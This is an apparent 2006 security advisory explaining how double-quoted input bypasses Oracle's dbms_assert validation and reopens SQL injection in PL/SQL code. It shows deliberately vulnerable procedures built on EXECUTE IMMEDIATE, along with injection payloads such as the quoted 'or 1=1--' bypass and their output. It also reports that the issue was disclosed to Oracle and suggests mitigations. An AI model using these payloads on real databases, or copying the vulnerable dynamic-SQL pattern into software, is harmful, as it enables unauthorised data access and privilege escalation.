Bypassing Oracle dbms_assert

by Alexander Kornbrust of Red-Database-Security GmbH
http://www.red-database-security.com

Summary:

By using specially crafted parameters (in double quotes) it is possible to bypass the input validation of the package dbms_assert and inject SQL code. This makes dozens of already fixed Oracle vulnerabilities exploitable in all versions of Oracle again (8.1.7.4 – 10.2.0.2, fully patched with Oracle CPU July 2006). I informed Oracle about this problem end of April and informed Oracle about some bugs + exploits.

To mitigate the risk you should revoke especially the privilege "CREATE PROCEDURE" or "ALTER PROCEDURE" to avoid privilege escalation by injection specially crafted functions or procedures.

Tags:

dbms_assert, SQL Injection, dynamic SQL,

Introduction:

To protect the Oracle PL/SQL system packages from the growing number of SQL injection vulnerabilities Oracle introduced a new package called dbms_assert in Oracle 10g Release 2. This package was backported with the Oracle Critical Patch Update (CPU) October 2005 to all supported databases (8.1.7.4 until 10.1.0.5).

But let's start from the beginning...

DBMS_ASSERT is a PL/SQL package consisting of the following functions.

ENQUOTE_LITERAL
ENQUOTE_NAME
NOOP
QUALIFIED_SQL_NAME
SCHEMA_NAME
SIMPLE_SQL_NAME
SQL_OBJECT_NAME

A detailed explanation of these functions (+usage) can be found in David Litchfield and Dr. Hall's articles (see [1], [2]).

Using a central function to sanitize the (user) input is and was a clever strategy from Oracle as long as the dbms_assert can not be bypassed. If such a central function can be bypassed then this is a nice thing for security researchers and attackers because the usage of this function (dbms_assert) marks all vulnerable functions und procedures.

Within minutes it's possible to find dozens of vulnerable PL/SQL functions and procedures in all (fully-patched) versions of Oracle (8.1.7.4 until 10.2.0.2 with CPU July 2006) if you know the right search string and if you are able to unwrap PL/SQL code. Since years there are already PL/SQL unwrappers out there and Pete Finnigan will speak about this unwrapping PL/SQL (+ simple proof-of-concept) at the Black Hat 2006 in Las Vegas [3].

Let's start with some simple PL/SQL examples.

A PL/SQL-procedure accepts a parameter TABLENAME and concatenates this parameter to a dynamic SQL statement. This SQL statement will be executed with execute immediate.

(Vulnerable) Solution without dbms_assert:

```
CREATE OR REPLACE PROCEDURE test1 (TABLENAME  IN VARCHAR2) IS
BEGIN

dbms_output.put_line(' SQL=select count(*) from all_tables
where table_name='''|| TABLENAME||'''');

EXECUTE IMMEDIATE 'select count(*) from all_tables where
table_name='''|| TABLENAME ||''''';

END test1;
/

Procedure created.
```

Now we are using a normal table name as a parameter

```
SQL> exec test1('CAT');
SQL=select count(*) from all_tables where table_name='CAT'

PL/SQL procedure successfully completed.
```

Because this parameter is not sanitized we can inject PL/SQL code, e.g. "`or 1=1--`"

```
SQL> exec test1('CAT'' or 1=1--');
SQL=select count(*) from all_tables where table_name='CAT' or
1=1--'

PL/SQL procedure successfully completed.
```

Solution with dbms_assert (still vulnerable):

Now we sanitize the user input with dbms_assert.qualified_sql_name. Oracle is using exactly this approach several times in their internal PL/SQL code.

```
CREATE OR REPLACE PROCEDURE test2 (TABLENAME  IN VARCHAR2) IS
VERIFY_TAB  VARCHAR2(64);
BEGIN

VERIFY_TAB :=  DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME);

dbms_output.put_line('ASSERT result='||VERIFY_TAB);
dbms_output.put_line('SQL=select count(*) from all_tables
where table_name='''|| VERIFY_TAB ||'''');

EXECUTE IMMEDIATE 'select count(*) from all_tables where
table_name='''||VERIFY_TAB||'''';

END test2;
/

Procedure created.
```

We pass our table CAT as parameter and everything works as expected

```
SQL> exec test2('CAT');
ASSERT result=CAT
SQL=select count(*) from all_tables where table_name='CAT'

PL/SQL procedure successfully completed.
```

Now we try to inject additional code. This time dbms_assert.qualified_sql_name throws an error and the dynamic SQL is not executed.

```
SQL>   exec test2('CAT'' or 1=1--');
BEGIN test2('CAT'' or 1=1--'); END;

   *
ERROR at line 1:
ORA-06502: PL/SQL: numeric or value error
ORA-06512: at "SYS.DBMS_ASSERT", line 206
ORA-06512: at "USER1.TEST2", line 5
ORA-06512: at line 1
```

And we inject an object name in double quotes into our procedure

```
SQL>   exec test2('"CAT'' or 1=1--"');
ASSERT result="CAT' or 1=1--"
SQL=select count(*) from all_tables where table_name='"CAT' or
1=1--"'

PL/SQL procedure successfully completed.
```

And, what surprise, it works...

dbms_assert.qualified_sql_name skips the input validation if the parameter is enquoted by double quotes. If you use DBMS_ASSERT.sql_object_name you must create an object first, e.g. CREATE TABLE " ' or 1=1-- ".

An attacker can use this technique (double quote around parameters) to bypass dbms_assert.

I informed Oracle end of April about this problem and reported already some related security bugs in some Oracle PL/SQL packages. Oracle has no problem with the release of this information ("*Oracle sees no problem with your publication of the white paper.*")

History:

- 1.00 – 27-july-2006 – initial release

References:

- **[1] Securing PL/SQL Applications with DBMS_ASSERT**
  http://www.ngssoftware.com/papers/DBMS_ASSERT.pdf
- **[2] DBMS_ASSERT - Sanitize User Input to Help Prevent SQL Injection**
  http://www.oracle-base.com/articles/10g/dbms_assert_10gR2.php
- **[3] How to Unwrap Oracle PL/SQL**
  http://www.blackhat.com/html/bh-usa-06/bh-us-06-speakers.html#Finnigan